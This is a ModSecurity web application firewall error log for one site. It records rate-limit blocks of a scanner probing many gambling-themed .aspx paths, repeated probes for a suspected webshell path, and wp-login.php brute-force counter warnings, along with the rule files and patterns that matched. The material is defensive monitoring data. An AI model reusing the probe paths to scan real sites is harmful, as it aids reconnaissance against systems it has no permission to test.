[Sat Mar 14 00:45:07.331775 2026] [:error] [pid 48070:tid 48094] [client 147.135.214.103:58194] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "abQ_E0IvrhMS5BVHxNkAMwAAABY"]
[Sat Mar 14 00:45:09.201660 2026] [:error] [pid 47878:tid 47962] [client 147.135.214.103:58196] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "abQ_FX8jymmmpr1jcBehmgAAAFc"]
[Sat Mar 14 00:45:11.212399 2026] [:error] [pid 47878:tid 47956] [client 147.135.214.103:58202] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "abQ_F38jymmmpr1jcBehmwAAAFE"]
[Sat Mar 14 00:45:13.247420 2026] [:error] [pid 47878:tid 47960] [client 147.135.214.103:38964] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "abQ_GX8jymmmpr1jcBehngAAAFU"]
[Sat Mar 14 00:45:15.100438 2026] [:error] [pid 47891:tid 47979] [client 147.135.214.103:38972] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "abQ_G_chNnuMqi7I_WHphQAAAI0"]
[Sat Mar 14 00:45:17.132530 2026] [:error] [pid 47891:tid 47971] [client 147.135.214.103:38984] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "abQ_HfchNnuMqi7I_WHpiwAAAIU"]
[Sat Mar 14 00:45:19.142012 2026] [:error] [pid 48070:tid 48077] [client 147.135.214.103:38988] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "abQ_H0IvrhMS5BVHxNkAWAAAAAU"]
[Sat Mar 14 00:45:21.150092 2026] [:error] [pid 48070:tid 48077] [client 147.135.214.103:39002] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "abQ_IUIvrhMS5BVHxNkAYgAAAAU"]
[Sat Mar 14 00:45:23.157182 2026] [:error] [pid 47891:tid 47984] [client 147.135.214.103:39016] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "abQ_I_chNnuMqi7I_WHpkQAAAJI"]
[Sat Mar 14 00:45:25.171543 2026] [:error] [pid 48070:tid 48089] [client 147.135.214.103:58428] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "abQ_JUIvrhMS5BVHxNkAbAAAABE"]
[Sat Mar 14 00:45:27.023990 2026] [:error] [pid 48070:tid 48087] [client 147.135.214.103:58438] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "abQ_J0IvrhMS5BVHxNkAcQAAAA8"]
[Sat Mar 14 00:45:29.036628 2026] [:error] [pid 48070:tid 48081] [client 147.135.214.103:58450] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "abQ_KUIvrhMS5BVHxNkAdwAAAAk"]
[Sat Mar 14 00:45:31.047494 2026] [:error] [pid 48070:tid 48078] [client 147.135.214.103:58462] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "abQ_K0IvrhMS5BVHxNkAegAAAAY"]
[Sat Mar 14 00:45:33.042860 2026] [:error] [pid 47905:tid 48001] [client 147.135.214.103:58466] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "abQ_LRaYZayP4o4wpJcP1gAAAUg"]
[Sat Mar 14 00:46:08.208131 2026] [:error] [pid 48070:tid 48083] [client 147.135.214.103:36726] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "abQ_UEIvrhMS5BVHxNkA3QAAAAs"]
[Sat Mar 14 00:46:10.140638 2026] [:error] [pid 47878:tid 47949] [client 147.135.214.103:39198] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "abQ_Un8jymmmpr1jcBeh7AAAAEo"]
[Sat Mar 14 00:46:12.110062 2026] [:error] [pid 47878:tid 47953] [client 147.135.214.103:39200] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "abQ_VH8jymmmpr1jcBeh8QAAAE4"]
[Sat Mar 14 00:46:13.944344 2026] [:error] [pid 47878:tid 47940] [client 147.135.214.103:47068] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "abQ_VX8jymmmpr1jcBeh8wAAAEE"]
[Sat Mar 14 00:46:15.938700 2026] [:error] [pid 47878:tid 47959] [client 147.135.214.103:47080] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abQ_V38jymmmpr1jcBeh9AAAAFQ"]
[Sat Mar 14 00:46:17.931585 2026] [:error] [pid 47905:tid 48007] [client 147.135.214.103:47096] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "abQ_WRaYZayP4o4wpJcQDQAAAU4"]
[Sat Mar 14 00:46:19.828681 2026] [:error] [pid 47891:tid 47967] [client 147.135.214.103:47108] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abQ_W_chNnuMqi7I_WHp1wAAAIE"]
[Sat Mar 14 00:46:21.747920 2026] [:error] [pid 47878:tid 47961] [client 147.135.214.103:47116] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "abQ_XX8jymmmpr1jcBeh_QAAAFY"]
[Sat Mar 14 00:46:23.729868 2026] [:error] [pid 47891:tid 47986] [client 147.135.214.103:33718] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "abQ_X_chNnuMqi7I_WHp4AAAAJQ"]
[Sat Mar 14 00:46:25.566986 2026] [:error] [pid 47878:tid 47946] [client 147.135.214.103:33732] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "abQ_YX8jymmmpr1jcBeiBAAAAEc"]
[Sat Mar 14 00:46:27.571340 2026] [:error] [pid 47905:tid 48005] [client 147.135.214.103:33738] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "abQ_YxaYZayP4o4wpJcQFQAAAUw"]
[Sat Mar 14 00:46:29.539873 2026] [:error] [pid 48070:tid 48096] [client 147.135.214.103:33752] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "abQ_ZUIvrhMS5BVHxNkBAQAAABg"]
[Sat Mar 14 00:46:31.398050 2026] [:error] [pid 47905:tid 48004] [client 147.135.214.103:33768] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "abQ_ZxaYZayP4o4wpJcQHAAAAUs"]
[Sat Mar 14 00:46:33.371511 2026] [:error] [pid 47891:tid 47969] [client 147.135.214.103:50162] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "abQ_afchNnuMqi7I_WHp6wAAAIM"]
[Sat Mar 14 00:46:35.358361 2026] [:error] [pid 48070:tid 48092] [client 147.135.214.103:50164] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abQ_a0IvrhMS5BVHxNkBEwAAABQ"]
[Sat Mar 14 00:46:37.188611 2026] [:error] [pid 47905:tid 47994] [client 147.135.214.103:50170] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "abQ_bRaYZayP4o4wpJcQKAAAAUE"]
[Sat Mar 14 00:46:39.184891 2026] [:error] [pid 48070:tid 48082] [client 147.135.214.103:50176] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "abQ_b0IvrhMS5BVHxNkBGwAAAAo"]
[Sat Mar 14 00:46:41.169173 2026] [:error] [pid 47905:tid 47996] [client 147.135.214.103:50180] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "abQ_cRaYZayP4o4wpJcQLAAAAUM"]
[Sat Mar 14 00:46:43.156308 2026] [:error] [pid 47905:tid 47993] [client 147.135.214.103:50188] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "abQ_cxaYZayP4o4wpJcQMwAAAUA"]
[Sat Mar 14 00:46:44.992353 2026] [:error] [pid 47905:tid 47997] [client 147.135.214.103:47120] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abQ_dBaYZayP4o4wpJcQNgAAAUQ"]
[Sat Mar 14 00:46:46.980141 2026] [:error] [pid 47891:tid 47990] [client 147.135.214.103:47122] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "abQ_dvchNnuMqi7I_WHqBgAAAJg"]
[Sat Mar 14 00:46:48.956723 2026] [:error] [pid 47891:tid 47981] [client 147.135.214.103:47138] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "abQ_ePchNnuMqi7I_WHqCwAAAI8"]
[Sat Mar 14 00:59:50.426798 2026] [:error] [pid 48070:tid 48091] [client 45.131.195.201:38647] [client 45.131.195.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abRChkIvrhMS5BVHxNkJ8gAAABM"]
[Sat Mar 14 00:59:50.430511 2026] [:error] [pid 47878:tid 47962] [client 45.131.195.168:49139] [client 45.131.195.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abRChn8jymmmpr1jcBekugAAAFc"]
[Sat Mar 14 01:08:38.364966 2026] [:error] [pid 47905:tid 48012] [client 45.131.195.87:58223] [client 45.131.195.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abRElhaYZayP4o4wpJcZtAAAAVM"]
[Sat Mar 14 01:08:38.456575 2026] [:error] [pid 48070:tid 48081] [client 45.131.195.224:37457] [client 45.131.195.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.224, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abRElkIvrhMS5BVHxNkPZwAAAAk"]
[Sat Mar 14 01:20:49.228699 2026] [:error] [pid 47878:tid 47957] [client 4.204.233.55:23059] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/hp2.php"] [unique_id "abRHcX8jymmmpr1jcBerFwAAAFI"]
[Sat Mar 14 01:20:50.052327 2026] [:error] [pid 47878:tid 47955] [client 4.204.233.55:23127] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/hp2.php"] [unique_id "abRHcn8jymmmpr1jcBerGgAAAFA"]
[Sat Mar 14 01:20:50.877496 2026] [:error] [pid 47905:tid 48010] [client 4.204.233.55:23129] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/hp2.php"] [unique_id "abRHchaYZayP4o4wpJcghQAAAVE"]
[Sat Mar 14 01:20:51.720527 2026] [:error] [pid 47905:tid 48008] [client 4.204.233.55:23055] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/hp2.php"] [unique_id "abRHcxaYZayP4o4wpJcgigAAAU8"]
[Sat Mar 14 01:26:55.064877 2026] [:error] [pid 48070:tid 48073] [client 45.131.195.199:37339] [client 45.131.195.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abRI30IvrhMS5BVHxNkcYgAAAAE"]
[Sat Mar 14 01:26:55.064945 2026] [:error] [pid 48070:tid 48076] [client 45.131.195.157:25585] [client 45.131.195.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abRI30IvrhMS5BVHxNkcYQAAAAQ"]
[Sat Mar 14 01:33:31.657559 2026] [:error] [pid 48070:tid 48081] [client 43.130.3.120:45850] [client 43.130.3.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abRKa0IvrhMS5BVHxNkhYAAAAAk"]
[Sat Mar 14 02:32:16.740994 2026] [:error] [pid 47891:tid 47984] [client 45.131.195.178:56977] [client 45.131.195.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abRYMPchNnuMqi7I_WEYHQAAAJI"]
[Sat Mar 14 02:32:16.743601 2026] [:error] [pid 47891:tid 47980] [client 45.131.195.102:32513] [client 45.131.195.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abRYMPchNnuMqi7I_WEYHgAAAI4"]
[Sat Mar 14 02:42:50.331108 2026] [:error] [pid 47878:tid 47952] [client 4.204.233.55:57353] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/hp2.php"] [unique_id "abRaqn8jymmmpr1jcBfARgAAAE0"]
[Sat Mar 14 02:42:51.154921 2026] [:error] [pid 47878:tid 47945] [client 4.204.233.55:63044] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/hp2.php"] [unique_id "abRaq38jymmmpr1jcBfARwAAAEY"]
[Sat Mar 14 02:42:51.974820 2026] [:error] [pid 47905:tid 48013] [client 4.204.233.55:56764] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/hp2.php"] [unique_id "abRaqxaYZayP4o4wpJdAhQAAAVQ"]
[Sat Mar 14 02:42:52.821280 2026] [:error] [pid 47905:tid 48010] [client 4.204.233.55:57386] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/hp2.php"] [unique_id "abRarBaYZayP4o4wpJdAiAAAAVE"]
[Sat Mar 14 02:59:36.920450 2026] [:error] [pid 48070:tid 48093] [client 45.131.195.203:45217] [client 45.131.195.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abRemEIvrhMS5BVHxNk-fgAAABU"]
[Sat Mar 14 02:59:36.925847 2026] [:error] [pid 48070:tid 48085] [client 45.131.195.243:64867] [client 45.131.195.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.243, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abRemEIvrhMS5BVHxNk-fwAAAA0"]
